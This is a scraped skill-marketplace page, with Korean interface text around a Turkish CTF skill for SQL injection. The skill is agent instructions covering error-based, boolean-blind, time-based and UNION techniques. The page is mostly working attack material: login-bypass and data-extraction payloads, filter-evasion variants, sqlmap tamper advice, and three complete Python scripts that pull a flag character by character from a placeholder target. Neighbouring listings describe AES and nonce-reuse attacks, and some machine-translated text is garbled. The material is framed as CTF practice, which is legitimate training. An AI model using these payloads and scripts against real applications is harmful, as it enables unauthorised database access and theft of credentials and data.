21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
SQL injection — error-based, blind boolean, time-based ve UNION tekniklerini kapsar; CTF'te login bypass, veri çekme ve flag okumak için tam otomatik exploit şablonları içerir
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
설치 방법 보기설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
CTF web challenglarında SQL injection, en yaygın ve ödüllendirici saldırı vektörlerinden biridir. Bu skill, error-based, boolean-blind, time-based ve UNION tabanlı teknikleri, gerçek CTF writeup'larından alınan payloadlarla kapsar.
Aşağıdaki ipuçlarından herhangi birini görünce bu skill'i tetikle:
username / password alanları var, kaynak kodu veya hata mesajı SQL sorgusuna atıfta bulunuyor--, #, /*) engellenmiş ama tek tırnak (') hâlâ çalışıyorpassword::int gibi cast işlemleri var (hata tabanlı sızıntı)sqlmap dene ama filtreleniyorsa manuel crafting gerekli500 hatası dönüyorSunucu hata mesajını doğrudan yansıtıyorsa veri okuma en hızlı yoldur.
PostgreSQL — cast hatası ile veri sızdırma:
' AND 1=CAST((SELECT version()) AS INT)--
invalid input syntax for type integer: "PostgreSQL 14.2..." hatası veriyi döker.
MySQL — EXTRACTVALUE ile:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
Uygulamanın farklı koşullara farklı yanıt verdiği durumlarda kullanılır (kayıt var / yok, giriş başarılı / başarısız).
' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='c'--
' AND ASCII(SUBSTRING((SELECT flag FROM flags),1,1))>96--
Uygulama hiçbir fark göstermiyorsa gecikme üzerinden veri çekilir.
-- MySQL
' AND SLEEP(3)--
-- PostgreSQL
'; SELECT pg_sleep(3)--
-- SQLite
' AND 1=(SELECT 1 FROM sqlite_master WHERE type='table' AND name LIKE 'flag%' AND 1=randomblob(100000000))--
Kaç sütun döndüğü biliniyorsa en verimli yöntemdir.
' UNION SELECT NULL,NULL,NULL-- -- sütun sayısını bul
' UNION SELECT NULL,version(),NULL-- -- hangi sütun string
' UNION SELECT NULL,flag,NULL FROM flags--
la-housing-portal challengında key ≤10, value ≤50 ve yorumlar engellenmiş:
' OR '1'='1
' OR EXISTS(SELECT 1 FROM users WHERE role='admin' AND 1=1) OR '1'='
50 karaktere tam sığan, yorum kullanmayan payload: sorgu parantezi kapatıp OR ile koşul ekle, son tırnak ile orijinal sorgunun geri kalanını dengelendire.
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)--
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS INT)--
' UNION SELECT 1,flag,3 FROM flags--
' AND 1=CAST((SELECT flag FROM flags LIMIT 1) AS INT)--
' AND EXISTS(SELECT 1 FROM users WHERE admin=1) AND '1'='1
#!/usr/bin/env python3
"""
Boolean-blind SQLi karakter-karakter brute force.
LACTF 2024 la-housing-portal varyantı.
"""
import requests
import string
TARGET = "http://chall.example.com/search"
CHARSET = string.printable.strip()
def check(payload: str) -> bool:
"""True dönerse koşul doğrudur."""
r = requests.post(TARGET, data={"key": "room", "value": payload}, timeout=10)
# Başarılı sonuç belirteci — challenge'a göre ayarla
return "result" in r.text or r.status_code == 200 and len(r.text) > 100
def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for i in range(1, max_len + 1):
found = False
for ch in CHARSET:
# 50 char limiti — query'yi kısa tut
payload = f"' AND SUBSTRING(({query}),{i},1)='{ch}' AND '1'='1"
if len(payload) <= 50 and check(payload):
result += ch
print(f"\r[+] {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
if __name__ == "__main__":
flag = extract_string("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
#!/usr/bin/env python3
"""
PostgreSQL error-based SQLi — cast hatası ile veri sızdırma.
Real World CTF 2024 Chatterbox varyantı.
"""
import requests
import re
TARGET = "http://chall.example.com/login"
def error_extract(query: str) -> str:
payload = f"' AND 1=CAST(({query}) AS INT)-- "
r = requests.post(TARGET, data={"username": "admin", "password": payload}, timeout=10)
# Hata mesajından veriyi çek
m = re.search(r'syntax for type integer: "([^"]+)"', r.text)
if m:
return m.group(1)
return ""
if __name__ == "__main__":
# Tablo adlarını öğren
tables = error_extract(
"SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'"
)
print(f"[+] Tablolar: {tables}")
# Flag tablosundan oku
flag = error_extract("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
#!/usr/bin/env python3
"""Time-based blind SQLi — gecikme ile karakter tespiti."""
import requests
import time
import string
TARGET = "http://chall.example.com/login"
DELAY = 2.0 # saniye — sunucu gecikmesine göre ayarla
def time_check(payload: str) -> bool:
start = time.time()
try:
requests.post(TARGET, data={"username": payload, "password": "x"}, timeout=DELAY + 3)
except requests.Timeout:
return True
return (time.time() - start) >= DELAY
def extract_char(pos: int, query: str) -> str:
for ch in string.printable:
# MySQL
p = f"' AND IF(SUBSTRING(({query}),{pos},1)='{ch}',SLEEP({DELAY}),0)-- "
if time_check(p):
return ch
return ""
if __name__ == "__main__":
flag = ""
for i in range(1, 65):
ch = extract_char(i, "SELECT flag FROM flags LIMIT 1")
if not ch:
break
flag += ch
print(f"\r[+] {flag}", end="", flush=True)
print(f"\n[FLAG] {flag}")
--, #, /* yorum karakterleri engellenmiş.OR EXISTS(...) + açık tırnakla kapama.' OR EXISTS(SELECT 1 FROM users WHERE role='admin') OR '1'='1password::int cast uygulanıyor.' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS INT)-- SeLeCt, uNiOn, wHeRe
UNION/**/SELECT/**/flag/**/FROM/**/flags
%27 OR %271%27%3D%271
' OR '1'='1
' AND 'a'='a
UNUNIONION SELSELECTECT -- filtre "UNION" siler, geri kalan birleşir
/*!UNION*/ /*!SELECT*/ flag FROM flags
';WAITFOR DELAY '0:0:3'-- -- MSSQL
';SELECT pg_sleep(3)-- -- PostgreSQL
' AND SLEEP(3)-- -- MySQL
') gönder — 500 veya SQL hatası görünce injection noktası doğrulanmış' OR '1'='1 ile login bypass denesqlmap -u URL -p param --dbs ile otomatik keşif dene; filtreleniyorsa --tamper=space2comment ekle아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.